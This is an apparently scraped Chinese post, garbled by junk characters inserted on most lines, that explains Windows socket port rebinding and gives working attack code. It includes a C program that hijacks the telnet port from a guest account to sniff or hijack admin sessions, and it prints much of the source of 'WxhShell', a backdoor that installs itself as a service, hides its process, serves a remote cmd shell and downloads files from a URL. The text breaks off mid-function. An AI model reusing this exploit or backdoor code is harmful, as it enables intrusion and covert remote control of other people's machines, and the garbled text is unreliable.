在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
X,bhX/h s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
hu.p;A3p; g#`}HuPoE saddr.sin_family = AF_INET;
MJkusR/ &XCP@@T saddr.sin_addr.s_addr = htonl(INADDR_ANY);
R+z'6&/ =I bg|dV bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
ZMLN
;.{Na %a
FZbLK 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
-*Tf.c '#SZ|Rr6tX 这意味着什么?意味着可以进行如下的攻击:
JI
cm$ |?nYs>K 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
$@O? eK5~YM:o 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
ug.|ag'R g/}d> 6 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
^VW]Qr! Bh'!aip k 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
^4NRmlb .)=*Yr M 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
:aBm,q9i:} TQb@szp:| 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
C#e :_e] QUaV;6
4 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
+~
Hb}0ry u80C>sQ #include
qM+Ai*q #include
w]nt_xj #include
Bex;!1 #include
0U:X[2|) DWORD WINAPI ClientThread(LPVOID lpParam);
JdLPIfI^ int main()
u})*6 l. {
mln4Vl(l2M WORD wVersionRequested;
(>E/C^Tc% DWORD ret;
IaQm)"Z WSADATA wsaData;
({@"{ BOOL val;
\o=9WKc SOCKADDR_IN saddr;
5gV,^[E-z SOCKADDR_IN scaddr;
L>mM6$l int err;
v9FR SOCKET s;
d3
i(UN] SOCKET sc;
:y`LF< int caddsize;
\F-n}Z HANDLE mt;
,|A6l?iV DWORD tid;
?@Q0;LG wVersionRequested = MAKEWORD( 2, 2 );
<T;V9(66 err = WSAStartup( wVersionRequested, &wsaData );
:5$ErI if ( err != 0 ) {
ID`Ot{ y printf("error!WSAStartup failed!\n");
k=mLcP return -1;
B9[vv;lzu }
~cyKPg6 saddr.sin_family = AF_INET;
^#C+l |&xaV-b9W //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
wN10Drc
4`mf^Kf saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Ph%ylS/T{ saddr.sin_port = htons(23);
UJQTArf if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
I'^XEl? {
}st~$JsV1 printf("error!socket failed!\n");
I\1"E y return -1;
9C2pGfEbn} }
M$Ui=GGq val = TRUE;
"U"fsAc# //SO_REUSEADDR选项就是可以实现端口重绑定的
']fyD3N if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
S.Kcb=;"L {
8_w6% md printf("error!setsockopt failed!\n");
J%|; return -1;
-:pVDxO }
]
Ok &%- //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Y0kcxpK/ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
}!k?.(hpE //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
9H;Os:"\| *3E3,c8{A if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
[W{|94q {
}No #_{ ret=GetLastError();
R.2i%cU printf("error!bind failed!\n");
8{!|` b'f return -1;
H^5,]; }
ULu@" listen(s,2);
k{lo' while(1)
5Za<]qxr {
>yLDU_P) caddsize = sizeof(scaddr);
rir,|y, //接受连接请求
=OtW!vx#R. sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
`7y3C\zyQ if(sc!=INVALID_SOCKET)
;di.U, {
Ws1|idAT mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
t(V2 if(mt==NULL)
%'h:G
Bkd {
H.]V-|U
printf("Thread Creat Failed!\n");
T^v o9~N* break;
wBg?-ji3< }
{d'B._#i }
88X]Uw(+ CloseHandle(mt);
=WI3#<vDG }
TCzlu#w closesocket(s);
:Zkjtr.\ WSACleanup();
9S17Lr*c return 0;
x9\{a }
==?%]ZE8 DWORD WINAPI ClientThread(LPVOID lpParam)
FN/l/OSb {
9<y{:{i SOCKET ss = (SOCKET)lpParam;
l l*g *zt3 SOCKET sc;
+mD;\iW] unsigned char buf[4096];
~,};FI SOCKADDR_IN saddr;
eN|zD?ba& long num;
ewN|">WXQ DWORD val;
3I)oqS@q' DWORD ret;
bv(+$YR //如果是隐藏端口应用的话,可以在此处加一些判断
0%,W5w //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
FZ<6 kk4 saddr.sin_family = AF_INET;
ib
'l:GM saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
2-qWR<E saddr.sin_port = htons(23);
v(JjvN21 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
*y|w9rp {
2?Ryk`2i) printf("error!socket failed!\n");
U?|A3;,xh return -1;
"k }
;nbEV2Y< val = 100;
*^7^g!=z2 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
|}e"6e% {
]e5aHpgR= ret = GetLastError();
@oj_E0i3 return -1;
F?MVQ!K* }
*P7n YjG if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<3tf(?*,k] {
P8=J0&5 ret = GetLastError();
y]obO|AH return -1;
!,Gavt7f }
`FNU-
I4s if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
)v+&l9D {
oNl-!W printf("error!socket connect failed!\n");
5>CeFy closesocket(sc);
,K6ODtw. closesocket(ss);
n%;t Va return -1;
g(s}R ? }
kO^ while(1)
2,B^OZmw {
pX>wMc+ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Ekrpg^3qp" //如果是嗅探内容的话,可以再此处进行内容分析和记录
ak3WER|f# //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
I
Gb'ii=A num = recv(ss,buf,4096,0);
[a$1{[|) if(num>0)
Bqa_l| send(sc,buf,num,0);
@W(,|xES else if(num==0)
Sjwwc6_c break;
_}']h^@Z num = recv(sc,buf,4096,0);
:mCGY9d4L if(num>0)
+|+fDQI send(ss,buf,num,0);
>2}*L"YC else if(num==0)
_f "I%QTL break;
*"F*6+}w" }
h<?I?ZR0$ closesocket(ss);
cMy?& closesocket(sc);
F{7
BY~d return 0 ;
QJkiu8r }
F3Da-6T@ 2y8FP# ;9=4]YZt ==========================================================
p>pAU$k{O s%>u[-9U 下边附上一个代码,,WXhSHELL
"].TKF#yg j9RpYz ==========================================================
.1J`>T?=Q [tt_>O #include "stdafx.h"
S*3$1BTl 4T&Jlu?: #include <stdio.h>
p{r{}iYI #include <string.h>
aa!1w93?i #include <windows.h>
b^8"EBo #include <winsock2.h>
V)`Q0} #include <winsvc.h>
+&_n[; #include <urlmon.h>
YWi Y[ [czWUD #pragma comment (lib, "Ws2_32.lib")
:t+LuH g #pragma comment (lib, "urlmon.lib")
uSCI O,J,Q|`H& #define MAX_USER 100 // 最大客户端连接数
Cd p_niF #define BUF_SOCK 200 // sock buffer
!g>mjD #define KEY_BUFF 255 // 输入 buffer
<bv9X?U GWj !n #define REBOOT 0 // 重启
p<@+0Uw2 #define SHUTDOWN 1 // 关机
#LwDs,J :
B]7QOf" #define DEF_PORT 5000 // 监听端口
l`JKQk g8"{smP/ #define REG_LEN 16 // 注册表键长度
rHjR 4q #define SVC_LEN 80 // NT服务名长度
T z+Y_ .J5or // 从dll定义API
NH1|_2 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
j=>WWlZ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
dwzk+@]8 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
V+*1?5w typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
kwt;pxp i )OGO
wStz // wxhshell配置信息
&j{IG`Trl struct WSCFG {
F20%r 0 int ws_port; // 监听端口
f%YD+Dt_V char ws_passstr[REG_LEN]; // 口令
<lPHeO<^] int ws_autoins; // 安装标记, 1=yes 0=no
tE=$# char ws_regname[REG_LEN]; // 注册表键名
+#'QP# char ws_svcname[REG_LEN]; // 服务名
*(*XNd|| char ws_svcdisp[SVC_LEN]; // 服务显示名
.8|5;!`WB char ws_svcdesc[SVC_LEN]; // 服务描述信息
'+S!>Lqb char ws_passmsg[SVC_LEN]; // 密码输入提示信息
O,I7M?dRf int ws_downexe; // 下载执行标记, 1=yes 0=no
hM(Hq4ed, char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
.M\0+,%/ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
*OKve =&U7:u };
N9f;X{ L= <,+m[! // default Wxhshell configuration
uC`)?f*I struct WSCFG wscfg={DEF_PORT,
W?12'EG}xa "xuhuanlingzhe",
z]i/hU 1,
m%OX<
T! "Wxhshell",
KR4 RIJZ_t "Wxhshell",
@|~D?&<\ "WxhShell Service",
]b&qC
( "Wrsky Windows CmdShell Service",
e=Kr>~q= "Please Input Your Password: ",
'BEM:1) 1,
YjG:ECj} "
http://www.wrsky.com/wxhshell.exe",
UFa 00t^5 "Wxhshell.exe"
:OY7y`hRG };
Dw2$#d n] n3/wpO // 消息定义模块
Yg`z4U'6~ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
`&/ zOMp char *msg_ws_prompt="\n\r? for help\n\r#>";
C1~Ro9si char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
,rQPs char *msg_ws_ext="\n\rExit.";
Tj=g[)+K char *msg_ws_end="\n\rQuit.";
GwlAEh P char *msg_ws_boot="\n\rReboot...";
UC9w T char *msg_ws_poff="\n\rShutdown...";
=G<S!qW char *msg_ws_down="\n\rSave to ";
]p~,C*UH0 &T-udgR9 char *msg_ws_err="\n\rErr!";
\6Hu&WHy char *msg_ws_ok="\n\rOK!";
\RTX fe-` W;wu2 ' char ExeFile[MAX_PATH];
a,p7l$kK int nUser = 0;
ch}(v'xv( HANDLE handles[MAX_USER];
*
@j#13. int OsIsNt;
nr{}yQu K fNR)
SERVICE_STATUS serviceStatus;
s^AZ)k~J( SERVICE_STATUS_HANDLE hServiceStatusHandle;
3sGe#s% noNL.%I // 函数声明
~7=w,+ int Install(void);
DcLx[C int Uninstall(void);
C[(Exe int DownloadFile(char *sURL, SOCKET wsh);
uI[lrMQYa int Boot(int flag);
IqONDdep9 void HideProc(void);
o//PlG~ int GetOsVer(void);
T k>N4yq int Wxhshell(SOCKET wsl);
jvos)$;L- void TalkWithClient(void *cs);
C0Ti9 int CmdShell(SOCKET sock);
9Fxz9_ i int StartFromService(void);
NvlG@^&S int StartWxhshell(LPSTR lpCmdLine);
Wj.
_{ !ly]{DTmm VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
LaiUf_W #X VOID WINAPI NTServiceHandler( DWORD fdwControl );
}vdhk0 -{fbZk&A // 数据结构和表定义
uU00ZPS*G[ SERVICE_TABLE_ENTRY DispatchTable[] =
X<"W@ {
%7rWebd- {wscfg.ws_svcname, NTServiceMain},
t%<d}QuHW {NULL, NULL}
zc-.W2"Hu };
<El6?ml@ +hS}msu' // 自我安装
TXQY&7 int Install(void)
Kth^WHL {
47XQZ-}4 char svExeFile[MAX_PATH];
#r)c@?T@j HKEY key;
"ealYveu strcpy(svExeFile,ExeFile);
u_U51C\rb j^Z3 // 如果是win9x系统,修改注册表设为自启动
PDssEb7 if(!OsIsNt) {
H\<C@OkJS} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ve /Q6j{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
N~ XzgI RegCloseKey(key);
nPUq+cXy]C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
sL tsvH# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
SNd]c RegCloseKey(key);
R:v`\ return 0;
1)M>vdrP }
yeNC-U< }
5ff66CRw }
# 1,(I else {
asI:J/%+2 4o2C=?@( // 如果是NT以上系统,安装为系统服务
&sQtS SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
ghiFI<)VY if (schSCManager!=0)
wLC|mByq {
rT
~qoA\ SC_HANDLE schService = CreateService
u]ZCYJ> (
@cF
aYI schSCManager,
N*My2t_+E wscfg.ws_svcname,
B9^@] wscfg.ws_svcdisp,
Jj'~\j SERVICE_ALL_ACCESS,
*(x`cf;k SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
l+Tw#2s$ SERVICE_AUTO_START,
^@`dsll SERVICE_ERROR_NORMAL,
HtIM8z#/ svExeFile,
/5_!Y>W NULL,
RxkcQL/Le NULL,
DY{JA
*N NULL,
@&2bLJJ+ NULL,
dYJW`Q;j.| NULL
mOyBSOad4 );
R28h%KN if (schService!=0)
QS y=JC9 {
/cDla5eej CloseServiceHandle(schService);
O.*, e CloseServiceHandle(schSCManager);
8<6;X7<- strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
*/RtN`dh strcat(svExeFile,wscfg.ws_svcname);
P{)eZINlE if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
!T|X/BR RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
TP oP%Yj" RegCloseKey(key);
70m}+R(` return 0;
F,`y_71< }
qgU$0enSs }
o$YL\ <qp CloseServiceHandle(schSCManager);
r!etj3 }
9[B*CD| }
dd>stp ek#{!9- return 1;
jO$3>q }
Xi1/wbC Pd\S{ Y~wk // 自我卸载
F\&R nDJ int Uninstall(void)
&}%3yrU {
B}YB%P_CWs HKEY key;
aBT|Q@Y. \=4[v-3H if(!OsIsNt) {
BfIGw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
-2mm
5E~N RegDeleteValue(key,wscfg.ws_regname);
q!9SANTx RegCloseKey(key);
Ry0n_J:7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
zrG&p Z RegDeleteValue(key,wscfg.ws_regname);
H{`S/>)[ RegCloseKey(key);
D'#Wc#b return 0;
5+'1 :Sa(i }
m
Fwx},dl }
qv=i eU }
QVI4<Rxg else {
$GYcZN& W[:
n*h SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
{KE858 if (schSCManager!=0)
3j(GcR9 {
z6b!,lp SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
<`b)56v:+ if (schService!=0)
U*=ebZno {
uG2Hzav if(DeleteService(schService)!=0) {
J(VJMS;_ CloseServiceHandle(schService);
c:4M|t= CloseServiceHandle(schSCManager);
a}+|2k_ return 0;
soXeHjNl }
=zt@*o{F CloseServiceHandle(schService);
)avli@W-3j }
*)ZDN~z7o CloseServiceHandle(schSCManager);
sV'(y>PP% }
;+`t[ go }
z'JtH^^Z kA{[k return 1;
$+)SW{7 }
[F/>pL5U$ ;zIAh[z // 从指定url下载文件
u)MdFz int DownloadFile(char *sURL, SOCKET wsh)
B3]q*ERAo {
-S
OP8G HRESULT hr;
P|_>M SO1' char seps[]= "/";
!&Vp5]c char *token;
[ K;3Qf) char *file;
lh&Q{t(+8 char myURL[MAX_PATH];
M;,Q8z% char myFILE[MAX_PATH];
]i)m (u+3{Eb strcpy(myURL,sURL);
5vxJ|Hse@ token=strtok(myURL,seps);
&[}bHX/ while(token!=NULL)
=U!M,zw4 {
\IbGNV`q file=token;
dQQh$*IL?{ token=strtok(NULL,seps);
(2Z-NVU# }
V lXUrJ9& n:,At]ky GetCurrentDirectory(MAX_PATH,myFILE);
R~iJ5@[ strcat(myFILE, "\\");
x-,+skZs strcat(myFILE, file);
v{"$:Z
ow send(wsh,myFILE,strlen(myFILE),0);
[84ss;.$ send(wsh,"...",3,0);
MJd!J]E6 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Q}2aBU.f if(hr==S_OK)
J1T_wA_ return 0;
oQ1>*[e<u else
KyK%2: return 1;
^+^#KC8]W anjU3j }
!jGe_xB}~ ,&rlt+wE // 系统电源模块
;"$Wfy int Boot(int flag)
0qqk:h {
UR44
iA] HANDLE hToken;
Ds?
@LE| TOKEN_PRIVILEGES tkp;
}9<pLk ~tWIVj{ if(OsIsNt) {
h5e(Avk OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
4!64S5(7t LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
lM~ 3yBy tkp.PrivilegeCount = 1;
OaY.T tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
P3UU~w+s AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
oOlqlv if(flag==REBOOT) {
_]@ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
NKd}g return 0;
I !=ew | }
HjAhz else {
4t]ccqX*{ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
%wWJVq}jx return 0;
"`qmeZ$rg }
^<49NUB> }
FD:3;nUY7 else {
GX?R# cf if(flag==REBOOT) {
z{Z4{&M if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
(3~h)vaJ return 0;
jR[VPm= }
lZ|+.T!g? else {
]Jz2[F"J if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
!_C*2+f return 0;
9+H C!Uot }
>W Tn4SW@ }
/j46`F ICAp return 1;
U:"X * }
D])&>
f?vbIc` // win9x进程隐藏模块
@lpo$lN0R void HideProc(void)
Htl2CcZ {
OSreS5bg -5vg"|ia, HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
AX($LIy9P if ( hKernel != NULL )
g27 iE {
E/[>#%@i pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
q@k/"ee*? ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
}z%fQbw FreeLibrary(hKernel);
tQ =3Oa[u }
s^f7w K#Ia19au5 return;
Buc{dcL/ }
JBqL0H U'~M(9uv: // 获取操作系统版本
J5dwd,FQ int GetOsVer(void)
(D2G.R\pr {
S$#"bK/p^ OSVERSIONINFO winfo;
t5O '7x winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
?APzb4f^W GetVersionEx(&winfo);
pmda9V4 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
DO*rVs3'p[ return 1;
M3q%(!2 else
kU:ge return 0;
tofX.oi+C$ }
8XfhXm>~ 3(&k4 // 客户端句柄模块
dfy]w4ETB int Wxhshell(SOCKET wsl)
&/dYJv$[9 {
mok94XuK) SOCKET wsh;
o3 b=)E struct sockaddr_in client;
X1 DE DWORD myID;
r2ZSkP. an q1zH while(nUser<MAX_USER)
~mBY_[_s= {
g[G+s4Nv int nSize=sizeof(client);
n_~u!Ky_P wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
"w7{,HP if(wsh==INVALID_SOCKET) return 1;
5Z;iK(>IX 3Z0ez?p+5 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
4,g_$) if(handles[nUser]==0)
RE._Ov> closesocket(wsh);
z
}3 `9 else
t@X{qm:%Z nUser++;
8'WoG]E_ }
r:{;HM+ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
oYx4+xH/ <C1w?d$9I return 0;
edai2O }
G VT|
fE 6JgbJbUi // 关闭 socket
J497
>w[ void CloseIt(SOCKET wsh)
hMCf|
e.UY {
#W$6[#7=I closesocket(wsh);
_tlr8vL nUser--;
6~34L{u ExitThread(0);
d+qeZGg^A }
/,d]`N! @`mr|-Rp@ // 客户端请求句柄
pk8`suZ void TalkWithClient(void *cs)
hZIbN9)8A {
L;\f^v( Y{KN:|i.! SOCKET wsh=(SOCKET)cs;
v[~~q char pwd[SVC_LEN];
U8S<wf& char cmd[KEY_BUFF];
t
$m: char chr[1];
lvOM1I int i,j;
,_K y'B -6W$@,K while (nUser < MAX_USER) {
*epK17i= /9b+I/xY" if(wscfg.ws_passstr) {
}!uwWBw` if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
*j~ObE_y //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
+ L[a //ZeroMemory(pwd,KEY_BUFF);
?`=
<*{_o i=0;
~%eZQgqA* while(i<SVC_LEN) {
c( _R
xLJ
bV$g]->4e // 设置超时
uK%0,!q fd_set FdRead;
?%cZO" struct timeval TimeOut;
g& ou[_A FD_ZERO(&FdRead);
|.OS7Gt? FD_SET(wsh,&FdRead);
&( ZEs c TimeOut.tv_sec=8;
(I/ZI'Ydy TimeOut.tv_usec=0;
U(+%iD60i int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
g'+2bQ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
:jy}V'bn$ BN&eU'Dl] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
! FVD_8 pwd
=chr[0]; RD6>\9
if(chr[0]==0xd || chr[0]==0xa) { x.9[c m-!
pwd=0; yxtfyf|9 '
break; I!"/ I8Y
} 6&"*{E
i++; i"0*)$
hW
} lSfPOx;*
=}"P;4:
// 如果是非法用户,关闭 socket nt%fJ k
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /2Z7
} a|5<L
]`q]\EH
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y*Gq VA[
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^V~^[Yp
R5i xG9
while(1) { _'|C-j`u$
9ec>#Vxx
ZeroMemory(cmd,KEY_BUFF); z57q|
t*`G@Nj
// 自动支持客户端 telnet标准 )EK\3q
j=0; Sc ijf 9
while(j<KEY_BUFF) { gj7'43
?W
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IL,iu
cmd[j]=chr[0]; 33ZHrZ
if(chr[0]==0xa || chr[0]==0xd) { Jt:)(&-t
cmd[j]=0; _VB;fH$
break; 4j}.=u* X7
} @X2 zIFm
j++; BXNC(^
} bw)E;1zo
=)#<u9
qqL
// 下载文件 3!h 3flE
if(strstr(cmd,"http://")) { %(S!/(LWW
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]|N"jr?7H
if(DownloadFile(cmd,wsh)) RA!8AS?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4av
else )8taMC:H^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b\^1P;!'W
} iL<FFN~{
else { uF ;8B]"
_}j6Pw'
switch(cmd[0]) { og1Cj{0
RT2&^9-
// 帮助 -
i{1h"
case '?': { 8PqlbLo1
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jgqeDl\=+
break; .kyes4Z
} E<p<"UjcCJ
// 安装 7H4\AG\>
case 'i': { @nnX{$YX
if(Install()) 6o^O%:0g
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v5I5tzt*%H
else
)afH:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u= Ga}
break; NA YwuE-`
} p
m<K6I
// 卸载 _ t.E_K
case 'r': { mqBX1D`e2
if(Uninstall()) l$!Z};mw0E
send(wsh,msg_ws_err,strlen(msg_ws_err),0); S^N{=*
else /GO((v+J
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *c(J4
break; s]HJcgI
} Gx|/
Jq
// 显示 wxhshell 所在路径 #4AqWyp#f
case 'p': { ivSpi?
char svExeFile[MAX_PATH]; ?btX&:j2P
strcpy(svExeFile,"\n\r"); ti<;>P[4
strcat(svExeFile,ExeFile); AHT(Z~C
send(wsh,svExeFile,strlen(svExeFile),0); b%X<'8z9Z
break; R0yp9icS
} _$mS=G(
// 重启 BA9;=orx
case 'b': { CHdYY7\{
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
=T$2Qo8
if(Boot(REBOOT)) BOl*. t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); P#/s5D8
else { sDwE,f0h
closesocket(wsh); IFXn GDG$
ExitThread(0); 'h>l_A
} i7?OZh*f
break; 4)9Pgp:
} ?#:!!.I:
// 关机 m;<5QK8f
case 'd': { "^t;V+Io
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R?] S<Z
if(Boot(SHUTDOWN)) ?' $}k
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 08$l=
else { "-Uqv@
closesocket(wsh); @ 3b-
ExitThread(0); cMfnc.P\K
} bR=TGL&
break; Z"G?+gM@
} ^.[+)0I
// 获取shell oTeQY[%$
case 's': { WhL"-f
CmdShell(wsh); jYh.$g<`0+
closesocket(wsh); OQ<NB7'n0A
ExitThread(0); kCKCJ}N
break; VKr
oikz@]
} &RlYw#*1.
// 退出 6 w0r)
case 'x': { ~gEd(
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )7F$:*e
CloseIt(wsh); s=XqI@
break; Ucj>gc=
} ibgF,N
// 离开 z.:IUm{z
case 'q': { U}W7[f lc
send(wsh,msg_ws_end,strlen(msg_ws_end),0); C2?p>S/q
closesocket(wsh); h-@_.&P0e
WSACleanup(); ,oj)`?Vh
exit(1); c+u) C%g
break; e pAC%a
} -vS7 %Fbr
} 2J7JEv|
} &wB?ks
W0Q;1${
// 提示信息 h='@Q_1Sb
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <gSZ<T
} .Tc?9X~4
} }}v28"\TA
g@S?5S.Av
return; cs)z!
} p B79#4
oSoU9_W
// shell模块句柄 /7b$C]@k
int CmdShell(SOCKET sock) 3q1u9`4;
{ V7>{,
STARTUPINFO si; <V*M%YWs
ZeroMemory(&si,sizeof(si)); ;<v9i#K5
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oFS)3.
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z9lfd6MU,
PROCESS_INFORMATION ProcessInfo; OSCe TkR
char cmdline[]="cmd"; MtK5>mhZI`
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -MeO|HWm
return 0; 0Yc#fD
} 6H!"oC&
(2%z9W
// 自身启动模式 86f/R
c
int StartFromService(void) yl~h
`b4
{ $g)X,iQu
typedef struct qgsKbsl
{ a.g:yWL\
DWORD ExitStatus; -\fn \n
DWORD PebBaseAddress; }MV=t7x9+
DWORD AffinityMask; rxAb]~MMp
DWORD BasePriority; n5 jzVv
ULONG UniqueProcessId; y:8Oc?
ULONG InheritedFromUniqueProcessId; *mXs(u
